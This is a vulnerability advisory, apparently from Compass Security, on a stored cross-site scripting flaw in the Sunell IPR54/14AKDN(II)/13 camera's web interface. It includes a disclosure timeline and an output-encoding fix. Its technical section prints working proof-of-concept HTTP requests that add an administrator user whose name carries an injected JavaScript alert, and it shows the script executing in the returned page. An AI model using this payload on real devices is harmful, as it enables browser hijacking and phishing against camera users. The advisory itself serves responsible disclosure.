Sunell IPR54/14AKDN(II)/13 Cross Site Scripting
Posted on 27 May 2017
############################################################# # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/research/advisories/ # ############################################################# # # Product: Sunell IPR54/14AKDN(II)/13 [1] # Vendor: Shenzhen Sunell Technology Corporation # CSNC ID: CSNC-2017-011 # Subject: Stored Cross-Site Scripting # Risk: High # Effect: Remotely exploitable # Author: Stephan Sekula <stephan.sekula@compass-security.com> # Date: 18.04.2017 # ############################################################# Introduction: ------------- Sunell's IPR54/14AKDN(II)/13 is an all-in-one Bullet camera designed for indoor and outdoor applications. Equipped with a 2MP sensor enabling viewing resolution of 1920*1080 at a smooth 30fps.The camera is capable of capturing high quality video at high resolution of up to 2MP even in low light environments. [1] Compass Security discovered a web application security flaw in the camera's web interface, which allows an attacker to manipulate the resulting website. This allows, for instance, attacking the user's browser or redirecting the user to a phishing website. In order to do so, the attacker needs to, e.g., change the current user's username. Affected: --------- Vulnerable: * v2.0.0801.1002.1.1.136.0.0 Technical Description --------------------- The camera's web interface employs a username, which can be manipulated. If this parameter contains JavaScript code, it is executed in the user's browser, once a page is visited, which contains the username. Exploiting the vulnerability will lead to so-called Cross-Site Scripting (XSS), allowing the execution of JavaScript in the context of the victim. Request: POST /goform/WEB_SetValueByAjax HTTP/1.1 Host: 192.168.0.120 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded;charset=utf-8 Referer: http://192.168.0.120/asppage/common/index.asp?ID=10200&lg=1 Content-Length: 502 Connection: close XMLData=<MPLDCProtocol ProtocolType="1"><MPLDCPDeviceConfig ReturnValue="0" OperateType="2"><DeviceInfoEx User="" Password="" IP="192.168.0.120" Port="30001" DeviceID="0BCF7B"/><DeviceConfigID ID="DeviceConfig_AddUser"/><ConfigItem ID="ID_AddUserName" Value="csnc';alert(0);'"/><ConfigItem ID="ID_Password" Value="Password.123"/><ConfigItem ID="ID_PrivilegeGroup" Value="Administrators"/><ConfigItem ID="ID_MultiLoginFlag" Value="true"/></MPLDCPDeviceConfig></MPLDCProtocol>&ID=10200&LanguageId=1&Num=2 After a new user with manipulated username has been created, this user is used to login. Request (accessing page /asppage/common/ipc_privilegeuser.asp while being logged in as user csnc';alert(0);'): GET /asppage/common/ipc_privilegeuser.asp?ID=56486&random=0.6518143656183069 HTTP/1.1 Host: 192.168.0.120 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.120/asppage/common/deviceConfig.asp?ID=56486&lg=1&random=0.4818473020393146 Cookie: coobjMenuTree=PrivilegeManager; csobjMenuTree=User Connection: close Response: HTTP/1.0 200 OK Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN Cache-Control: max-age=180 Content-type: text/html i>>?<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> [CUT] <script language=javascript> function getdata() { var currentLoginUserName = 'csnc';alert(0);'';document.getElementById('pwdType').value = 2; return currentLoginUserName }</script> [CUT] </body> </html> Workaround / Fix: ----------------- This issue can be fixed by properly encoding all output, which is posted back to the user. For instance, using HTML encoding, to convert < to < and > to >. Timeline: --------- 2017-05-18: Public disclosure date 2017-04-18: Vendor notification (No response) 2017-03-22: Initial vendor notification (No response) 2017-03-22: Discovery by Stephan Sekula References: ----------- [1] http://www.sunellsecurity.com